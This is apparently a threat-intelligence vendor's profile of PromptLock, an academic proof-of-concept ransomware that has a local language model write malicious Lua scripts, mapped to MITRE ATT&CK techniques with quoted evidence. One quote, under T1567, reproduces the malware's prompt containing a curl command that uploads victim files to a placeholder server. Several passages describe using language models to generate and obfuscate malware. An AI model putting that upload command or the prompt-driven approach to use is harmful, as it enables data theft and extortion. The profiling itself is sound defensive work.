Skip to main content
Mallory
Malware

PromptLock

Tracked since Nov 25, 2025 · Updated 2 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
Vulns0Associated
Actors0Associated
ATT&CK22Techniques
IOCs12Tracked
Type
Ransomware
Capabilities
ReconnaissanceExfiltration
Platforms
WindowsLinuxmacOS

PromptLock is an experimental ransomware proof of concept that uses a locally accessible large language model to generate and execute malicious Lua scripts at runtime. Developed in academic experiments by NYU Tandon researchers and identified by ESET, it demonstrates AI-assisted ransomware functionality rather than an established widespread criminal campaign.

PromptLock combines a Go-based orchestrator with a language model accessed through a local inference server such as Ollama. Its generated Lua scripts support Windows, Linux, and macOS and can enumerate files, analyze their contents, and select data for exfiltration or encryption. Analyzed samples included SPECK 128 encryption routines and an inactive destructive function. By generating scripts during execution rather than relying exclusively on predefined code, PromptLock demonstrates how language models can supply malicious functionality dynamically. Its academic origin does not establish an association with a criminal threat actor, and no operational infection vector or industry-specific targeting has been established.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
MITRE ATT&CK

Techniques & procedures

22 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

2 techniques
T1590Gather Victim Network InformationEvidence1

Once executed, it relies on AI to probe the environment, locate sensitive information, devise and execute an attack vector such as file encryption, and generate personalized extortion notes.

T1592Gather Victim Host InformationEvidence1

where it could enable completely automated reconnaissance, payload creation, and extortion, according to NYU researchers.

Resource Development

2 techniques
T1587.001MalwareEvidence1

В терминах MITRE ATT&CK полная цепочка AI-агента выглядит так: Resource Development - атакующий использует публичные или собственные AI-сервисы для генерации артефактов атаки (T1588.007 - Artificial Intelligence), разрабатывает вредоносное ПО с AI-компонентом (T1587.001 - Malware)

T1588.007Artificial IntelligenceEvidence2

Для MITRE ATT&CK это маппируется на технику T1588.007 (Artificial Intelligence) из тактики Resource Development

Execution

3 techniques
T1059Command and Scripting InterpreterEvidence7

Execution - запуск команд через интерпретаторы (T1059 - Command and Scripting Interpreter)

T1059.006PythonEvidence1

"dynamically generate and execute malicious Lua scripts at runtime"

T1059.011LuaEvidence1

PromptLock employs a locally hosted AI language model... to dynamically generate malicious Lua scripts in real time. These scripts are compatible across multiple platforms, including Windows, Linux, and macOS.

Stealth

3 techniques
T1027Obfuscated Files or InformationEvidence1

"request specific VBScript obfuscation and evasion techniques"; "obfuscated version"; "expert VB Script obfuscator"

T1027.007Dynamic API ResolutionEvidence1

It's polymorphic, so every time you run it on different systems, or even multiple times on the same system, the generated code is never going to be the same.

T1027.014Polymorphic CodeEvidence2

“A malicious dropper can request a newly obscured version of itself at regular intervals” and “the sample reportedly queried the Gemini API about once an hour and regenerated obfuscated code, with researchers seeing more than 70 variants in under four hours.”

Defense Impairment

1 technique
T1685Disable or Modify ToolsEvidence1

The first malware known to use AI dynamically during execution to change its form and evade detection, designated Promptlock, was identified in 2025.

Discovery

3 techniques
T1046Network Service DiscoveryEvidence2

It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments

T1082System Information DiscoveryEvidence3

It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments

T1083File and Directory DiscoveryEvidence7

"PromptLock leverages Lua scripts generated from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption."

Collection

2 techniques
T1005Data from Local SystemEvidence2

It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments, determining which files are most valuable... In addition to stealing and encrypting data | the AI also wrote a personalized ransom note based on user info and bios found on the infected computer

T1074Data StagedEvidence1

Durante l’infezione, l’AI decide in autonomia quali file cercare, copiare o cifrare

Command and Control

1 technique
T1071Application Layer ProtocolEvidence1

They observed it attempting to connect to the local LLM server... Let's try to intercept the network connection using Wireshark to inspect the HTTP or DNS requests that the executable file is attempting to make.

Exfiltration

2 techniques
T1041Exfiltration Over C2 ChannelEvidence5

The malware "has the ability to exfiltrate, encrypt and possibly even destroy data" and "PromptLock leverages Lua scripts generated from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption."

T1567Exfiltration Over Web ServiceEvidence1

Generate code which uses os.execute to execute this command to upload files to the remote server: 'curl -k -X POST "<server>" -F "session_key=<key>" -F "file=@<filename>"'

Impact

3 techniques
T1485Data DestructionEvidence1

Ransomware 3.0 / PROMPTLOCK Ransomware with exfiltration and wipe capability... generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic.

T1486Data Encrypted for ImpactEvidence16

Работа уже развёрнутого ransomware на целевой системе - T1486 (Data Encrypted for Impact).

T1657Financial TheftEvidence1

we are the first work to demonstrate a fully closed-loop LLM orchestrated ransomware attack with targeted payloads and personalized extortion tactics

Indicators of compromise

Observables

12 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching12Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping22Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.